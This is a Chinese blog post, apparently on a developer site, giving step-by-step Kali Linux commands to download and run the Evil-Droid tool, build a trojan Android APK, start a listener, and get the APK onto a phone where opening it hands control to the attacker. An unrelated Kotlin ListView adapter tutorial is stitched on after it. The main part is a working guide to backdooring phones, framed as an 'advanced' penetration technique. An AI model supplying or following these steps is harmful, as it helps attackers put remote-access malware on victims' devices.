安卓apk 客户端渗透<高级>

禁用一下ipv6  

──(root㉿root)-[~/桌面]
└─# echo "net.ipv6.conf.eth0.disable_ipv6 = 1" >> /etc/sysctl.conf

2020版本以上的要安装依赖

┌──(root㉿root)-[~/桌面]
└─# apt-get install openjdk-11-jdk-headless -y

安装Evil-Droid工具

┌──(root㉿root)-[~/桌面]
└─# wget https://codeload.github.com/M4sc3r4n0/Evil-Droid/zip/master  

┌──(root㉿root)-[~/桌面]
└─# unzip master

 ┌──(root㉿root)-[~/桌面]
└─# cd Evil-Droid-master

──(root㉿root)-[~/桌面/Evil-Droid-master]
└─# vim evil-droid

注:    esc  :     调行数用    set nu          找语句  直接输入行数   


                         

┌──(root㉿root)-[~/桌面/Evil-Droid-master]
└─# chmod +x evil-droid

┌──(root㉿root)-[~/桌面/11/Evil-Droid]
└─# cd tools

┌──(root㉿root)-[~/桌面/11/Evil-Droid/tools]
└─# rm apktool.jar    

┌──(root㉿root)-[~/桌面/11/Evil-Droid/tools]
└─# wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.6.0.jar

┌──(root㉿root)-[~/桌面/11/Evil-Droid/tools]
└─# mv apktool_2.6.0.jar apktool.jar  

┌──(root㉿root)-[~/桌面/11/Evil-Droid/tools]
└─# cd ..    

┌──(root㉿root)-[~/桌面/Evil-Droid]
└─# ./evil-droid

 已开启监听,上面少发一个图,是生成木马文件的地址

 

 最后把生成的apk文件上传到手机上就好,打开即可监听

  • 6
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
要将List<Class>绑定到ListView上,你需要自定义一个适配器(Adapter)并实现其getView()方法,这个方法会被ListView调用来渲染每一个子项。 假设你有一个类叫做"Person",它有两个属性"name"和"age",我们可以定义一个存有Person对象的List,然后将其绑定到ListView上。 ``` class Person(val name: String, val age: Int) val personList = listOf( Person("Tom", 18), Person("Jerry", 20), Person("Lucy", 22) ) ``` 接下来,我们需要自定义一个适配器,继承自BaseAdapter类,并实现其getView()方法。getView()方法会在每次渲染ListView的子项时被调用,我们需要在这个方法中对子项进行设置。 ``` class PersonListAdapter(private val context: Context, private val personList: List<Person>) : BaseAdapter() { override fun getCount(): Int { return personList.size } override fun getItem(position: Int): Any { return personList[position] } override fun getItemId(position: Int): Long { return position.toLong() } override fun getView(position: Int, convertView: View?, parent: ViewGroup?): View { val view = convertView ?: LayoutInflater.from(context).inflate(R.layout.list_item_person, parent, false) val person = personList[position] view.findViewById<TextView>(R.id.tvName).text = person.name view.findViewById<TextView>(R.id.tvAge).text = person.age.toString() return view } } ``` 在这个适配器中,我们传入了上下文(Context)和存有Person对象的List。在getView()方法中,我们首先获取或创建一个子项视图(View),然后从List中得到对应的Person对象,最后将其属性设置到子项视图中。 最后,我们将适配器设置到ListView上即可。 ``` val listView = findViewById<ListView>(R.id.listView) listView.adapter = PersonListAdapter(this, personList) ``` 其中list_item_person.xml文件中包含两个TextView控件,用于显示Person对象的属性。 ``` <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal"> <TextView android:id="@+id/tvName" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textSize="16sp" android:textStyle="bold" android:layout_marginStart="16dp"/> <TextView android:id="@+id/tvAge" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textSize="16sp" android:layout_marginStart="16dp"/> </LinearLayout> ``` 这样,你就可以将List<Class>绑定到ListView上了。
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

奈·Suriel

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值